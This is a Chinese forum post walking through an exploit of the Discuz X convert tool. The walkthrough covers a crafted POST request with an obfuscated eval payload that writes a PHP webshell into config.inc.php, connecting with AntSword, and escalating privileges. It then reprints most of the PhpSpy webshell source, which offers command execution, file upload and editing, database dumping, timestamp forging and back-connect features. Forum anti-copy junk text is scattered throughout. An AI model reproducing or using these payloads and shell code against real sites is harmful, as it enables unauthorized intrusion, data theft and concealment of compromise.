找回密码
 立即注册
搜索
查看: 7652|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

979

主题

90

回帖

5万

积分

管理员

积分
53052
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:- u# W/ M% T/ L1 S9 P2 N0 _
想要拿下一台主机A的权限:) w/ o- F) ~/ H: s8 c
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
# W; j# R) d; k! I, [& R" S2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权$ `! n" o' X5 f- ^* N- R9 p* Y
3、传上去后,得到apache用户普通权限,再提权成root
% w% Y) b9 e* A概述:
- |/ d$ Z$ ?0 M% j0 K! v这突破在一个DZ X系列自带的转换工具里面。
: w& u+ ]! d& O5 N, m, {. w% O  A漏洞路径:utility / convert / data / config.inc.php
* t  u6 C9 W. I漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
5 a( e* {3 {! p4 U触发突破过程:8 o* F, y1 ^/ K+ B: |. q
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  5 q/ E% |- i7 a0 p5 f3 }
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
% V' ?! {0 O; i攻击过程:5 x+ `+ ^. h- f$ W' {# |6 @6 g. X
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
+ E2 Q$ \4 D$ A6 L  [" S' U& A2 m/ ?8 P3 D1 N

) F" c: T# L( z. u  q2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马1 m( D+ J. f. l0 z
) u, ?: b; X% i
8、通过中国蚁剑上传大码7 F5 q1 r3 S+ X) ~2 ?: _

' I& n% g' s" k, `. `6 D5 G. E* f! j6 d, u/ M
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php/ L  l0 f0 N5 G( P9 D- u
  2. & a) `5 V% o2 H; [% c% k
  3. /*****************************************************************************6 o; D* k0 f% Q5 P& B

  4. 5 Q* n" s" |7 \) |0 d% z6 j
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================9 f3 `4 e8 @7 n

  6. 4 ?" x# y& O6 K9 r4 M1 j1 r
  7. ====
    ' C2 ~2 o+ w0 U  U' ~% ]
  8. , x* e4 S: H& R, P3 r+ e4 r

  9. % f6 E3 d/ V) b  y) A
  10. *****************************************************************************/
      u( `( G1 l7 p" U3 Z

  11. ; _7 _2 H9 V" t+ i& o
  12. error_reporting(7);+ R" m  V, s: v
  13. @set_magic_quotes_runtime(0);6 c- I' y+ c: h' [% W$ V) q
  14. ob_start();+ T, ~* C0 O& k+ z0 `+ {+ ?
  15. $mtime = explode(' ', microtime());
    * d6 w/ n, a. c6 q) H
  16. $starttime = $mtime[1] + $mtime[0];
    ' ^$ q: {9 I) _, X5 W5 Q' y- Y
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');8 F1 @2 ]. d7 T' W  ^
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );# t3 r4 n+ A& |; u9 p- a! s( ~
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    3 y: n# E; F9 p1 ?8 M
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    8 \; z5 K: w% ?
  21. define('IS_GPC', get_magic_quotes_gpc());
    1 t. R, d3 B8 l9 w. f
  22. $dis_func = get_cfg_var('disable_functions');4 t; ~0 B  @/ \# p8 b' ?) c9 D
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );: q* ^$ m, P, L& C. u1 h# b
  24. @set_time_limit(0);
    ' v% i5 ^8 Q' l( z

  25. 1 |# S2 e' s+ r
  26. foreach(array('_GET','_POST') as $_request) {( J' ~5 z% [0 o6 P
  27.         foreach($$_request as $_key => $_value) {
    + j! E; L" Y" }. b+ \9 F
  28.                 if ($_key{0} != '_') {. L) Q  b1 c3 _
  29.                         if (IS_GPC) {1 o2 @! O/ h; L. t9 Z
  30.                                 $_value = s_array($_value);9 p8 K$ U1 y  X
  31.                         }8 H6 E! K; i. M$ C( [- N1 G$ ]* d
  32.                         $$_key = $_value;
    3 q% R1 @7 H# a. r6 A1 q1 D
  33.                 }
    : q$ B) G' `, p& U+ P/ r9 p* o
  34.         }
    ' Z" \- E8 z5 I) A, R) D
  35. }! y+ R- D2 O9 V

  36. # Z" q% c1 I% R& ]1 `% P
  37. /*===================== 程序配置 =====================*/
    ; @4 y7 h& y4 t% ~" m" l
  38. $admin = array();2 v" p% k. t: _& L& M$ [
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    9 [6 C1 r0 q9 W( T0 x
  40. $admin['check'] = true;
    7 d. p  L% c$ \7 s
  41. // 如果需要密码验证,请修改登陆密码
    7 K% |3 X3 e1 c( w% H+ t7 U3 ~
  42. $admin['pass']  = 'xuegod';) u  a& s: d3 D( d

  43. 8 v, u! o. ]& X( }5 T; \
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认! U& h! w( e  `* w/ l$ p- R
  45. // cookie 前缀
    7 g/ i! `- b1 d' x0 p
  46. $admin['cookiepre'] = '';
    + H& q; }& B$ G: ?
  47. // cookie 作用域
    ' b; E, L1 P3 O2 Q
  48. $admin['cookiedomain'] = '';. o3 ~/ [: Y) M; a+ C! j7 F
  49. // cookie 作用路径- ]8 ]2 k2 j8 e. o; h3 {
  50. $admin['cookiepath'] = '/';+ W3 ?& @# a& S+ C
  51. // cookie 有效期
    0 k+ P7 V/ }+ X6 u
  52. $admin['cookielife'] = 86400;
    1 O; H  F) v4 }4 S+ C/ `( Y
  53. /*===================== 配置结束 =====================*/2 j- y7 H; t" ^! l3 c2 H3 a- W$ s

  54. % l5 h1 I7 W" u
  55. if ($charset == 'utf8') {
    ! J7 V! C) N+ ^. G9 y0 e, s9 R' @- Y/ O
  56.         header("content-Type: text/html; charset=utf-8");
    6 Q. X0 y8 K  q4 i
  57. } elseif ($charset == 'big5') {! @0 i9 P/ y3 t/ C& T9 v" G% ~
  58.         header("content-Type: text/html; charset=big5");9 c& `8 P% y8 u  l9 M3 d+ S5 W
  59. } elseif ($charset == 'gbk') {! g7 t. O  J. P# i- l/ ^+ J( G6 {
  60.         header("content-Type: text/html; charset=gbk");* z- M% F. ^' h5 E
  61. } elseif ($charset == 'latin1') {
    . [/ ^4 A  a( e* w+ Q" d
  62.         header("content-Type: text/html; charset=iso-8859-2");5 P" W! i" U, X
  63. }! m, d: F5 d5 ?7 ~

  64. 3 n+ ^: u2 K) c* }4 r; y4 d
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];2 \. H! b3 t2 g6 ?
  66. $timestamp = time();
    * p. {5 O: s. b% d5 |4 q

  67. " v) @6 r0 Z. t: t
  68. /*===================== 身份验证 =====================*// n( \6 x" m1 H( Z& b7 a
  69. if ($action == "logout") {
    : A! q* e/ V2 [+ o5 e; i
  70.         scookie('phpspypass', '', -86400 * 365);
    : q0 t$ c& y' i, e
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');2 k3 z0 ^- P6 v( x
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ; e& F+ a9 N5 O, L5 K2 {
  73.         exit;
    ( o# f9 P1 o+ ^* O
  74. }1 p0 A# F0 }+ O3 F, Q
  75. if($admin['check']) {8 p) A) G7 j' D% R- G8 _% n( V
  76.         if ($doing == 'login') {, R8 J* T9 n  V7 |
  77.                 if ($admin['pass'] == $password) {
    3 S2 z: Z  u1 U  W, G
  78.                         scookie('phpspypass', $password);) w+ T8 h3 L: y+ C9 E- q
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');2 r( e3 a$ J) a, ~0 M8 k+ ~
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');% O8 F' T( c9 H
  81.                         exit;* c; n2 |7 k9 m1 O$ `3 Q
  82.                 }# P8 n# O: N% S% d
  83.         }; w" W/ l1 g: t( w
  84.         if ($_COOKIE['phpspypass']) {7 @& N" m: e) x  p: j) K
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    / i0 R, _2 s8 a& }
  86.                         loginpage();
    - u) r' a. ~! X  f- z
  87.                 }# e, K1 |' A# g$ i/ r! Q
  88.         } else {& P! j  f9 @9 ^4 R7 c8 c4 K/ t0 l
  89.                 loginpage();! K8 J9 `- }  f) |
  90.         }1 ]7 O+ k9 h- j6 I4 h" h' z
  91. }: L' n6 d' `& r" R" {( N
  92. /*===================== 验证结束 =====================*/
    0 Q/ u+ o* L' u$ E) Z
  93. * [7 c  j- k3 d+ P/ K
  94. $errmsg = '';
    & P, g/ k3 \' t! P, O$ D

  95. " Y. t$ j% y4 l& J; v0 v& \6 n
  96. // 查看PHPINFO$ V( }6 P4 A8 V2 v) m. ~9 r* c
  97. if ($action == 'phpinfo') {! p# B/ t: X2 `# \  i+ L, B
  98.         if (IS_PHPINFO) {; M+ \% y1 e9 A7 P; _* u$ S5 T' p
  99.                 phpinfo();8 N3 W9 b. m! I- N9 O/ b( y
  100.         } else {0 t5 Z* `: S% ^0 y
  101.                 $errmsg = 'phpinfo() function has non-permissible';
    % h, U0 w6 d: H3 C) K4 x
  102.         }
    & O! b+ C$ U: _, d( T
  103. }
    5 @' H! S4 ]; I# D

  104. % N/ Z- C+ y$ I9 P
  105. // 下载文件
    , |- S5 w# h9 O9 I5 `" R
  106. if ($doing == 'downfile' && $thefile) {6 h- @" N6 q5 F) y% Z8 \
  107.         if (!@file_exists($thefile)) {* Z/ ^7 @) d1 }" ]8 Z$ d1 }
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';  A+ y$ N$ ~- B3 ?* m
  109.         } else {6 h8 N. \6 G; f7 R$ B# r
  110.                 $fileinfo = pathinfo($thefile);3 a3 W$ Q4 e+ j4 R  J
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);2 r9 Z4 G& Q; t' T& @
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);+ F- U. X% k5 r/ F6 X
  113.                 header('Content-Length: '.filesize($thefile));
    ; c: {1 u. y( Z( V# F$ X! m
  114.                 @readfile($thefile);1 P4 f2 i( ]* }( j
  115.                 exit;# @( g8 y+ T0 _5 f+ Q  n5 M
  116.         }
    - \& Q+ A: Q9 H1 M% V# G! H. A8 ]$ y
  117. }9 z6 N! O$ j3 H, H) c) X

  118. 8 X/ _0 u9 L3 y: v" k3 _
  119. // 直接下载备份数据库% u! w' k1 L% e, a- K: ?3 C) y
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    $ [& S3 |8 P$ T- n( ?
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);1 P; ^3 U1 a# K, ~& _$ n
  122.         $table = array_flip($table);
    " ^4 E$ A3 Y9 s8 m! g& ^
  123.         $result = q("SHOW tables");1 `1 s) c) U; Z
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');& k9 t6 m) ?" k
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');2 v0 |- Z, g& g
  126.         header('Content-type: application/unknown');* t- K9 z" i; q, x9 a% m
  127.         header('Content-Disposition: attachment; filename='.$filename);
    + g$ g( k9 t  ~# |. o" p; h
  128.         $mysqldata = '';1 q1 }& c: V9 t4 b6 a3 ]9 t! e
  129.         while ($currow = mysql_fetch_array($result)) {1 x; J+ a" p2 y6 B
  130.                 if (isset($table[$currow[0]])) {/ M2 Y; Y7 m8 S/ o
  131.                         $mysqldata .= sqldumptable($currow[0]);# O. F1 w, T3 t" n* m
  132.                 }
    / K/ |: {0 r8 @1 B; `
  133.         }/ U# u9 G. J# `" u  l
  134.         mysql_close();
      A' z1 ^# w& j4 R& o1 Z, h
  135.         exit;( v: u9 h5 s0 K: ?
  136. }  P9 `. h4 ?0 V3 ~# g

  137. 2 C. ?( \) r; Q, [" e
  138. // 通过MYSQL下载文件$ b, l9 v6 Y5 r3 G3 [+ Y
  139. if($doing=='mysqldown'){
    7 h: \6 T" f/ d* W
  140.         if (!$dbname) {6 ?. S  j7 N7 X0 W! Q$ p
  141.                 $errmsg = 'Please input dbname';0 m! g/ T% J0 L/ C. L
  142.         } else {
    & M8 ^; r9 [9 V. |  `
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    9 ^5 d' p! `( Q
  144.                 if (!file_exists($mysqldlfile)) {
    : S/ A# F' F. ?4 N5 \
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';+ L9 ~% B4 C# s$ x; U/ r0 c: h# J
  146.                 } else {; A# R1 f" u# `6 ]" ~; b$ f; b
  147.                         $result = q("select load_file('$mysqldlfile');");
    9 D# @( ?2 J( i- R$ g
  148.                         if(!$result){4 S* ~3 j* w; v# }1 b- t5 d2 R
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");; j! j: ?: Y" ]
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");+ D" F  |! n9 q% B# ~5 ~
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    : u. S0 i% e) A9 P8 x& s( R. }9 S9 H
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");% V* f* J. I5 a' f4 R& U
  153.                                 $result = q("select content from tmp_angel");( O; o* H& d4 |2 z$ @/ Q9 V+ |7 V- Q& T
  154.                                 q("DROP TABLE tmp_angel");
    9 i8 ~- }8 G6 c4 W
  155.                         }+ t3 q! h" q  [" g" Q) M# j
  156.                         $row = @mysql_fetch_array($result);
    5 |" h& P2 l+ }  g4 S1 P
  157.                         if (!$row) {7 \- p8 F5 {. ~) p
  158.                                 $errmsg = 'Load file failed '.mysql_error();
    3 ]7 j) Q: U6 u! v
  159.                         } else {- u. z' V; E/ p7 Q7 J7 |/ \2 m
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    . F+ G$ r# Q1 l" _
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);  p  a. f; Z( I0 t& m
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);( h- Q* l; y- ?% [" H# a
  163.                                 header("Accept-Length: ".strlen($row[0]));+ S- \0 k! O- v& j. Z7 r& ~
  164.                                 echo $row[0];
    ' c) F5 S+ ?! t4 R
  165.                                 exit;% {; J, Y$ ?0 E1 \4 ]
  166.                         }
    . J! O+ t/ i( @: c9 M1 x, F& p5 [
  167.                 }# c4 e! p, s8 w7 R3 b0 E) z
  168.         }
    7 v5 K5 K) g# T3 r$ _' Z' R. g- @: ]
  169. }# E7 d$ u' f9 d
  170. & }1 N( F% J! D8 D) J7 D7 g5 D
  171. ?>- w5 i2 g7 Y- t8 B7 I4 m
  172. <html>
    ' D& j$ ~' u6 v( g8 p+ W3 y2 J( c
  173. <head>
    / g6 i$ I! }6 d6 T; u, b& c
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">- H/ ]# I# f/ P. X) _  X# v8 P
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>7 a6 W" c; \: I5 }! G
  176. <style type="text/css">7 Y  _: b+ W2 b0 W+ Y$ B
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}  S# K# d1 k( x5 {4 r
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
    2 w6 z/ a# _- u$ ]6 V! `
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}# v1 c- c0 A7 V* O& e# c, {
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}/ L' q: a. ]( t: r$ [  A3 W
  181. a {color: #00f;text-decoration:underline;}6 S& [$ k& }- Z7 p
  182. a:hover{color: #f00;text-decoration:none;}$ B2 i& R7 b/ J8 a% w" T( i5 @
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}' f$ a$ R* q: k% [5 ]' n* Z
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    , K, g( d2 m" @; \- I6 W: k
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
    ; k7 [- S# w- r/ u3 b' G# I
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    . U/ d5 o, `5 F
  187. .head td span{font-weight:normal;}: J9 L' [  \$ K, T
  188. form{margin:0;padding:0;}; P! ]: k: D& _" ~( S$ f
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}8 S0 C) n* p' G( d/ b
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    " o$ e, K. k0 ^% V8 Q1 Q+ j
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
    ; _1 {. R# R" G0 u* i$ m$ r
  192. </style>' r; |1 p# ]* ^3 K( h& g
  193. <script type="text/javascript">" \: _0 g: f* g1 @) M
  194. function CheckAll(form) {5 K8 w, W* m! K9 B2 m
  195.         for(var i=0;i<form.elements.length;i++) {# p" X9 J- S2 h" C( U
  196.                 var e = form.elements[i];$ `1 r1 P5 @4 m2 Q4 |# ?# E& P; {( U
  197.                 if (e.name != 'chkall')7 ^3 Q7 A2 @% ~" E- f) ^
  198.                 e.checked = form.chkall.checked;
    7 x- M  L8 p- ~) I& ]6 c
  199.     }
    * w, ]+ s5 K/ |3 I7 d
  200. }
    8 ?. j7 z: V9 S, l0 v% Z' U
  201. function $(id) {  W/ b* b  j! s
  202.         return document.getElementById(id);
    0 O0 f3 q" ], ]+ g
  203. }- G3 ?& o: e  G( J. I* R& ]# _7 U
  204. function goaction(act){9 b$ u: g& h& h1 N( L
  205.         $('goaction').action.value=act;
    $ P3 l' t0 O+ ^  n* q" d( K
  206.         $('goaction').submit();
    ( X' P, {7 ?- I
  207. }2 v; `1 y" I9 g
  208. </script>; a& _9 K, E& Q5 M) E# v9 L1 e
  209. </head>) M9 C- T% ~  l) |9 X
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">& I9 q! T1 k( N8 x0 M' u
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
    3 ~+ j# P6 ^* G: A$ F3 f! z
  212.         <tr class="head">+ G% t5 @+ M- U' Z1 P( w+ Y
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>, Q9 \7 R" _7 e; P4 ?6 a; N& |( e
  214.         </tr>- S% O! p4 i6 G2 Z: }: f
  215.         <tr class="alt1">! [* G7 ~0 ?# J# ~  Z. l( f
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
    $ N1 T$ I" l$ e3 z! {/ Q# q7 {
  217.                         <a href="javascript:goaction('logout');">Logout</a> | 7 Y0 ?. z0 i0 p$ H8 I
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    % e6 V- W7 n$ g. K9 ?2 e
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
    4 B: D4 b* n. i: P9 J# x
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
    & }) V; L- ]8 B# Z& G" [( J' f3 v
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    9 p- P" l! K" a( V9 J( i  i( I- C
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    6 b. }( s! Z) G+ D
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
    : X2 @2 s7 ^4 O+ r. D: F: O
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?># D. w: }8 i6 Z! D7 ~; V8 o; `7 e
  225.                 </td>! }9 h% D( W7 j! X( l" e# T- m
  226.         </tr>: N2 j& E9 B  s% ?+ J7 i. R
  227. </table>
    , L) C8 T7 {; y, i: b
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
    $ }  F  s. Y) b7 K/ y8 ]! R
  229. <?php7 E! G* x$ y" z1 N; E$ v

  230. . q( O# C1 Z) i' `* l0 f) i
  231. formhead(array('name'=>'goaction'));6 A" p9 S$ F* A# l6 v
  232. makehide('action');
    ' X9 K3 c+ X) h6 U
  233. formfoot();
    6 v$ V5 ]* }$ q' Z/ }( f

  234. / b* |+ e0 m1 q" X. I
  235. $errmsg && m($errmsg);) A, B. G; t8 T) o
  236. ( a" n% i4 U2 U5 l  R' I
  237. // 获取当前路径
      h, _  R' T! q4 A+ z
  238. !$dir && $dir = '.';
    9 p: u6 l1 c$ I' |7 z9 S
  239. $nowpath = getPath(SA_ROOT, $dir);9 s" \7 v$ \/ A1 Y3 O. L1 e
  240. if (substr($dir, -1) != '/') {
    4 s# w3 L7 ~1 |. g3 l) ^& m7 J! l
  241.         $dir = $dir.'/';
    8 D  O% L5 L$ h9 d+ I6 D
  242. }
    % e! y  B# ^: q$ G, ?# H3 K
  243. $uedir = ue($dir);
    / \0 _+ C$ s3 r+ }1 p/ ~0 |0 l

  244. 3 Y; m9 A6 K* Y
  245. if (!$action || $action == 'file') {, s* ?! M6 k+ _7 p+ B" S

  246. . _4 K1 A5 [; Y/ {6 [
  247.         // 判断读写情况* b$ \: |6 Y) y8 d' i, b
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    0 o$ F% \0 ^! q  K1 c/ N5 R5 j

  249. 3 m; f$ M+ e( S
  250.         // 删除目录
    ) D" }1 q' \: |" H0 r- [- b# j
  251.         if ($doing == 'deldir' && $thefile) {
    # I3 s  D$ x6 g
  252.                 if (!file_exists($thefile)) {/ C0 R; r' x% k( m
  253.                         m($thefile.' directory does not exist');8 C* R: v  ^* c' |8 o4 Y0 x
  254.                 } else {
    - F4 T! O& T! g+ O  t3 l  U3 Q
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
    " N- A% X9 y4 d7 y6 Y
  256.                 }$ |# d2 w: M/ v. @5 C: g
  257.         }  e& n8 L! |/ u. v* \
  258. 9 L3 [/ `( |# V* `9 e
  259.         // 创建目录9 N  @! M1 u+ g1 U* K
  260.         elseif ($newdirname) {/ F/ Z; ]# R# J7 a/ ]( ^
  261.                 $mkdirs = $nowpath.$newdirname;
    " z8 a( K, n! n  ~5 J7 L' c. x
  262.                 if (file_exists($mkdirs)) {
    ; i$ P" U# y+ n6 w, V* u* l) E
  263.                         m('Directory has already existed');, V' Z& a) x) b
  264.                 } else {* u) U$ y4 \. w
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
    % _) u; O5 [5 C( `
  266.                         @chmod($mkdirs,0777);
    0 K& Y7 q9 T9 p+ ~! Q4 L0 Y% P
  267.                 }
    5 j3 ]4 `( ?  n0 O/ E9 Y( x
  268.         }) D; f; E+ o) B% S
  269. . u( ^# S* T4 x
  270.         // 上传文件0 H- V% p/ J7 i/ h! t" Q
  271.         elseif ($doupfile) {
    0 I  N4 f+ c# r+ R' h- ?
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));, O- X4 ]6 D9 V- s
  273.         }
    0 U$ _, g2 Q6 o3 ?

  274. ) B4 C# Q- |. v: ~) i
  275.         // 编辑文件
    9 b  s# l/ C. A
  276.         elseif ($editfilename && $filecontent) {
    : r% k. s0 W; M- @' m% \/ K4 H
  277.                 $fp = @fopen($editfilename,'w');
    " L% b( K4 M! u+ Y- ~, X
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));+ W8 b$ m5 F  F5 `! c
  279.                 @fclose($fp);
    ( `+ Q, k2 N. v( K
  280.         }
    8 M+ f( K3 A( x" f/ [) F# F4 ^

  281. 6 ?8 D* q- M9 z6 U! j7 P
  282.         // 编辑文件属性
      k3 X9 D# W' S7 X
  283.         elseif ($pfile && $newperm) {7 f" f; R- @' R
  284.                 if (!file_exists($pfile)) {
    8 y, Q* _6 n* O8 ~: V0 L
  285.                         m('The original file does not exist');! X% t9 M6 y# L- F8 B: F" W# _" v, A
  286.                 } else {" j* T  W  I( p* d7 h1 m
  287.                         $newperm = base_convert($newperm,8,10);$ C3 a) j8 R/ g8 U; S, f
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));" y" W6 K; m' [! f( p
  289.                 }
    7 F4 o' c3 M" W5 g5 o' u4 H8 a! N
  290.         }% X. w0 r/ r: O4 F; }8 ]8 F

  291. 6 E8 R: J! T! v2 K4 T
  292.         // 改名
    4 i7 K/ x5 J/ i; }6 `3 @0 s- [
  293.         elseif ($oldname && $newfilename) {
    + M, b/ y9 D/ t% L+ [
  294.                 $nname = $nowpath.$newfilename;
    7 M/ ~3 Q1 q0 H( g7 A; n' G, E7 W
  295.                 if (file_exists($nname) || !file_exists($oldname)) {
    4 b6 ]6 e6 g0 j: k, |* l1 E2 c
  296.                         m($nname.' has already existed or original file does not exist');
    8 b1 @  g# L8 @) X* N
  297.                 } else {
    % M8 w' k& n- P' d) W
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    0 Y/ |+ B: p7 m2 o3 i
  299.                 }& j( u; f& a/ Q2 ^5 U
  300.         }% l) R/ o! Y3 ?2 I# ~

  301. 4 O+ S6 B0 W/ q) e4 r* \' `! [
  302.         // 复制文件' u0 n( [8 q2 }! L/ Y4 L7 \# ~/ u
  303.         elseif ($sname && $tofile) {% \6 T9 Q" ~/ t$ p. \9 f
  304.                 if (file_exists($tofile) || !file_exists($sname)) {4 w) _' [3 s: x$ v, O* [% S8 A+ j0 N
  305.                         m('The goal file has already existed or original file does not exist');, F0 X% O2 V" J0 z5 J& f
  306.                 } else {* p3 P* J8 _$ s& `1 `
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));- C- S$ P& o/ x/ A/ m
  308.                 }, [% A6 X% j* u! F
  309.         }3 \. ^# I5 V/ Q6 L
  310. , D0 p! X2 L) {/ x
  311.         // 克隆时间
    ' f2 a% f& g; e
  312.         elseif ($curfile && $tarfile) {
    * w1 N7 [% J+ t. s
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {1 L$ N) n; f: ^
  314.                         m('The goal file has already existed or original file does not exist');: m9 G6 ]  N/ W; E' {
  315.                 } else {
    . v8 s  j5 W4 j% J- `/ g
  316.                         $time = @filemtime($tarfile);
    % u; j' G3 y1 E$ y( f8 J4 P
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));& E8 s% c4 ?! \( \
  318.                 }
    6 s+ J  _1 Y1 a( \7 L" L
  319.         }
    0 N) M* s4 r- F( l: C0 Z

  320. 2 J0 J# i) D# @3 T7 T* l* e9 Q2 _
  321.         // 自定义时间- M% ]+ U) E1 Q$ F* i
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {0 z5 a8 o1 ]( m
  323.                 if (!@file_exists($curfile)) {, t5 A9 [5 p: z
  324.                         m(basename($curfile).' does not exist');; X: d( h8 l$ Z, G
  325.                 } else {
    1 s: P# K! M7 h) E% x
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
    ; L& S8 R; q& H) b' k0 \
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));7 w; J, G: L( M2 X& E4 K" ]
  328.                 }
    5 x# K. r/ W. v4 r7 U- t& ^
  329.         }
      s/ p  D8 ]" i( O  ~
  330. 6 q! @+ p4 m" f
  331.         // 打包下载: _/ L  a% t6 _9 g
